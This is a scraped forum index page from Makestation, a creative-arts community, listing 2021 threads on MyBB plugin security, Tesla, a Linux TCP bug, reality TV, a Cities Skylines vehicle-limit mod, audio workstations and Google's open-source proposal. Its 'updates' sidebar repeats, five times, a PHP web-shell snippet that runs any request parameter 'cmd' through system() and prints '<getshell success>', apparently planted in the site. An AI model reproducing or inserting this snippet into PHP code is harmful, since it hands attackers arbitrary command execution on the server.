Welcome, Guest |
Welcome to Makestation! We are a creative arts/indie discussion community — Your center for creative arts discussion, unleashed!
Please note that you must log in to participate in discussions on the forum. If you do not have an account, you can create one here. We hope you enjoy the forum!
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
View all updates
|
Forum Statistics |
» Members: 1,212
» Latest member: FRICAINET
» Forum threads: 54,290
» Forum posts: 78,715
Full Statistics
|
|
|
why or by which plugin Mybb hacked? |
Posted by: tc4me - February 18th, 2021 at 10:17 AM - Forum: MyBB Related
- Replies (8)
|
data:image/s3,"s3://crabby-images/70833/70833cb7b4473f8e737b72d1411ec69b230636f9" alt="" |
Hy Darth Hy folks, the forum was hacked once by an insecure plugin, which one was that? mydropzone plugin or?
Why I ask, strangely enough, are the previously paid plugins offered for free
MyDropzone
Symposium
ENdless
Drafts Autosafe
Default Message
lg Tc4me
|
|
|
Musk is the greatest hypocrite of all |
Posted by: tc4me - February 16th, 2021 at 4:49 AM - Forum: Current Events
- No Replies
|
data:image/s3,"s3://crabby-images/70833/70833cb7b4473f8e737b72d1411ec69b230636f9" alt="" |
Musk is the greatest hypocrite of all, he is Mister Clean Environment and what does he do? He sells emission certificates to all other car manufacturers with internal combustion engines that would have to pay Starfe, ALL MONEY! just for wealth, because he would go bankrupt with his Tesla cars.
On the other hand, Tesla is also in the black because the company sells emission certificates - so-called regulatory credits - to other car manufacturers who would otherwise have to pay fines because of their mostly gasoline and diesel-powered fleets. In particular, General Motors (GM) and Fiat Chrysler are buying emission rights from the electric car manufacturer on a large scale.
|
|
|
The time to solve the electric car’s battery problem is now |
Posted by: tc4me - February 15th, 2021 at 7:45 PM - Forum: Current Events
- Replies (2)
|
data:image/s3,"s3://crabby-images/70833/70833cb7b4473f8e737b72d1411ec69b230636f9" alt="" |
In September, Tesla announced that it would be phasing out the use of cobalt in its batteries, in an effort to produce a $25,000 electric vehicle within three years. If successful, this bold move will be an industry game changer, making electric vehicles competitive with conventional counterparts. But the announcement also underscores one of the fundamental challenges that will complicate the transition to electric vehicles. Without cobalt, there may be little financial incentive to recycle the massive batteries used to power the cars—and that could lead to an environmental disaster.
More HERE
In addition there is the risk of fire and batteries that cannot be extinguished! In Austria there are already parking bans in underground garages for electric or hybrid vehicles!
Here read in German!
What do you say
Tc4me
|
|
|
24 year old bug found in linux kernel |
Posted by: SpookyZalost - February 11th, 2021 at 9:55 PM - Forum: Software
- Replies (1)
|
data:image/s3,"s3://crabby-images/f3c03/f3c03863a79300f7bf04905d3890af9a2b4fe13b" alt="" |
https://engineering.skroutz.gr/blog/unco...ux-kernel/
TLDR: a bug was found in the linux kernel affecting TCP socket connections which triggers under specific circumstances.
1. This bug will not be triggered by most L7 protocols. In “synchronous” request-response protocols such as HTTP, usually each side will consume all available data before sending. In this case, even if snd_wl1 wraps around, the bulk receiver will be left with a non-zero window and will still be able to send out data, causing the next acknowledgment to update the window and adjust snd_wl1 through check 1 in tcp_may_update_window. rsync on the other hand uses a pretty aggressive pipeline where the server might send out multi-GB responses without consuming incoming data in the process. Even in rsync’s case, using rsync over SSH (a rather common combination) rather than the plain TCP transport would not expose this bug, as SSH framing/signaling would most likely not allow data to queue up on the server this way.
2. Regardless of the application protocol, the receiver must remain long enough (for at least 2GB) with a zero send window in the fast path to cause a wrap-around — but not too long for ack_seq to overtake snd_wl1 again. For this to happen, there must be no packet loss or other conditions that would cause the fast path’s header prediction to fail. This is very unlikely to happen in practice as TCP itself determines the network capacity by actually causing packets to be lost.
3. Most applications will care about network timeouts and will either fail or reconnect, making it appear as a “random network glitch” and leaving no trace to debug behind.
So effectively it remained hidden by obscurity or a non obvious trigger condition that only recently became truly relevant.
|
|
|
Clare Crawley and the Bachelor |
Posted by: Darth-Apple - February 9th, 2021 at 5:53 PM - Forum: Media & Entertainment
- Replies (1)
|
data:image/s3,"s3://crabby-images/7b821/7b821f1e4610c45ef3dedb339ed75eeef36d6fa3" alt="" |
I don’t watch this show heavily, but I kept up this last season. And boy was it dramatic. They had two bachelorettes. They had to replace their bachelor mid season. Not actually a terrible thing, probably mutually beneficial. She found love and got engaged after 13 days. The rest of the guys in the house were frustrated and felt they weren’t given a chance, but Clare was right. Nobody should apologize for love.
What happened next was more predictable than we would have wanted to admit. Spoiler alert: they broke up. And it was dramatic.
I find it hard to judge people on TV from this show because it’s so easy to see where producers edit people to look or appear a certain way. It’s hard to tell who they actually are just from a television show. But that being said, I’ve seen many people come and go on this show, and I have some questions about this entire thing. Something isn’t adding up.
1. Was the entire thing staged? Everyone who goes on the show has to pass a two week quarantine. They had Clare replaced after day 13 and immediately had Tyashia Adams take the roll. No 14 day quarantine. The producers were aware of this whole plan before the season even began.
2. Clare is (not surprisingly) bashing Dale ceaselessly. Dale is speaking well of her publicly and trying to save her reputation. Clare is trying to destroy his.
And without knowing the entire story, I sense it’s almost a red flag. If there isn’t more to this story, then I can’t say it’s necessarily a good look for her. As someone who has been on the other side of that, it’s not fun and the bashing is often totally undeserved. (Break ups happen. It doesn’t mean either person is evil.)
It’s just hard to tell. Throughout the season, I almost felt as if she had an idealized version of who he actually was in her head. She has dreams and goals and desires and expected him to meet those needs perfectly. And in many fast paced relationships like this, it all comes crashing down because nothing in this world is perfect, nor can that be expected or anyone. It’s a sad situation that sucks for both of them.
And I don’t knock Dale for it either. Dale just seemed totally not ready, had no idea what he was getting into, quickly realized she was VERY attached and he didn’t want to break her. So he went head on, tried his best, and realized the inevitable months down. And he was being compared to an idealized version of himself constantly and was having to sacrifice his own goals and dreams to be that person she wanted him to be. It’s a situation I’ve been in, and it’s a suffocating reality. And he has the burden of being painted as the bad guy for admitting the inevitable. He’s trying to protect her. She’s trying to destroy him. So he’s got a side to tell too, and it’s a perfectly valid one.
It’s just so hard to tell. These kinds of breakups take a toll on both parties and are difficult for everyone involved. There is always another side to the story that we don’t hear, and the public slander rarely paints a true picture of everything that happened. That being said it’s TV, and we simply don’t know what transpired when the cameras weren’t rolling. Safe to say this was probably the most dramatic season of the Bachelor we’ve ever had.
https://www.cosmopolitan.com/entertainme...dale-moss/
|
|
|
Mod Reallocates Vehicle Limit from 16K to 64K |
Posted by: Darth-Apple - February 8th, 2021 at 1:56 PM - Forum: Simmania
- Replies (2)
|
data:image/s3,"s3://crabby-images/7b821/7b821f1e4610c45ef3dedb339ed75eeef36d6fa3" alt="" |
Most of us who have had larger cities know the horrors of reaching the vehicle limit. It has to do with the internal workings of Cities Skylines, and it limits the internal number of CIMS physically simulated on the map at any given time. This limit is 65,536 (to be oddly precise). This includes all pedestrians, public transport vehicles, garbage trucks, busses, commuters, boats, trains, plains, or any other type of vehicle/cim on the map. Of this, 16,384 can be vehicles. This 64K agent limit is hard-coded into the game, and it is part of the reason that the base game limits gameplay to 9 tiles.
9-tile cities rarely push against this limit, but of course, most of us have increased that as well with the 25/81 tile mods. And on a sprawling, 20+ tile metropolis, the agent/vehicle needs are far higher, and tend to push the limits of the game. The end result is that traffic simply disappears. The game is less challenging and roads become empty. The game runs out of its internal 16K vehicle pool, and cims simply start teleporting. Not very realistic.
This is already inconvenient when it's commuters that are affected, but it's much more problematic when even utilities and essential services can't spawn their vehicles. It's actually a very real problem for 81 tile cities. The game was simply never designed for cities of this size, and will very gladly send garbage trucks, hearses, ambulances, fire trucks, or other essential services across the ENTIRE map if any local service is underallocated. Because of this, very large cities often run out of "spots" even for essential vehicles such as hearses or garbage trucks. This obviously results in massive gameplay problems, garbage pileups, unattended death waves, and all sorts of other mayhem that makes the game nearly unplayable.
There is a new mod that is helping to solve this problem. It (supposedly) provides a massive 4x increase to the internal vehicle limit. It's unclear at this point how this was accomplished, but I suspect that they re-allocated the internal limits to allow vehicles to (in theory) use all of the 64K limit. In practice, it probably simply means that more vehicles and fewer pedestrians will hit the streets (for very large cities), but it still fixes many of the issues that larger cities experienced with regards to these limits and makes these cities feel more lifelike.
(And it's worth noting that if these limits were indeed simply reallocated as we suspect, pedestrians will still count towards this 64K limit. The mod would simply combine the 48K and 16K pedestrian and vehicle pools to allow all agents to be allocated as needed. If this is indeed the case, mass transit will be an important thing to watch. Busy subway stations or bus stops can easily rack up thousands of waiting commuters underground, which take away from this limit pool and restrict the number of vehicles that can hit the roads above.)
This will probably benefit pretty much any large city above ~150K population, especially if more than 9 tiles are in use. I personally have several 20+ tile cities that use the real time mod, and I've seen a pretty welcome increase of traffic back to my roads. It's not quite to the level of a brand new game where the limits are nowhere near being reached, but it's a very noticeable change that makes my cities certainly feel more alive.
Anyone else used this mod before?
|
|
|
What DAW do you use? |
Posted by: Darth-Apple - February 8th, 2021 at 3:44 AM - Forum: Media & Entertainment
- Replies (2)
|
data:image/s3,"s3://crabby-images/7b821/7b821f1e4610c45ef3dedb339ed75eeef36d6fa3" alt="" |
I make music on the side. Nothing production worthy (yet), although some tracks will be coming out later this year. Been learning the ropes and trying to get my hands in on it. So far it's been interesting.
I've used three over the years. Sonar X1 (back when it was a thing) was great, the included plugins and virtual instruments were fantastic. The interface was ehh..
Cubase was a little difficult to use, but had fantastic plugins and great presets. My mixes always were very good in cubase. Part of me wants to go back to using Cubase again just for the virtual instruments and plugins.
And then there is logic, which I've fallen in love with. The presets are not as good and the virtual instruments are a little stranger, but the workflow is second to none. I've had very good results doing even more advanced editing related tasks. And flex is absolutely fantastic for audio editing (time fixing, pitch editing, and so forth).
Anyone else ever play around with digital audio workstations? Which ones do you use?
|
|
|
Google Wants Third Parties to Review Open Source Developers |
Posted by: Darth-Apple - February 5th, 2021 at 1:32 PM - Forum: Software
- Replies (3)
|
data:image/s3,"s3://crabby-images/7b821/7b821f1e4610c45ef3dedb339ed75eeef36d6fa3" alt="" |
Google is proposing changes for “critical projects” in terms of the norms of what developers do. Among those are things that make sense, such as forcing two factor authentication. Some of them not so much, like forcing a sort of registry for any contributors or not allowing anonymous contributors. But perhaps more worrisome is that that they want TWO independent, third parties to be required to review all changes. (They also want these third parties to dictate what can, and can’t be changed. And this is absolutely ridiculous.)
It is totally antithetical to the spirit of open source, along with everything it stands for. It’s taking away the freedoms that made open source so powerful, forcing and allowing third party companies to control the destiny of large scale projects.
They claim that this is under the guise of security, and that it reduces vulnerabilities and increases truthworthiness. But let’s think about that, because Google itself has benefitted immensely from open source. One of the largest companies in the world has benefited from the huge community of projects that are available for free, thanks to the developers who had the freedom to create wonderful things. They chose to use those projects and have contributed to their popularity.
And it’s not unwarranted. There is a reason open source dominated the mobile market, the server market, and the IOT market. One of the most prominent reasons is security and stability. This is the reason we don’t use closed source options such as Windows (as often, at least). These critical open source projects are already being used by Google (and many others) because they are much more secure and trustworthy. So when Google wants to come in and force developers, many of whom are working for free, to jump through hoops and red tape that are antithetical to open source, it’s not security they are concerned about. The outcome isn’t security, it’s influence. Google is fully capable of developing their own options or forking projects if THEY want to control the destiny of those projects.
The whole thing is just against the entire spirit of open source. If you don’t trust the package, don’t use it. If you think a critical package isn’t maintained in the way you want, then fork it. It’s YOUR responsibility to do that in open source. Not your responsibility to get red tape involved and strong arm them into paying third parties. No. As a multi billion dollar company, it’s YOUR responsibility to contribute.
Honestly, just not so sure about this one. What are your thoughts?
|
|
|
|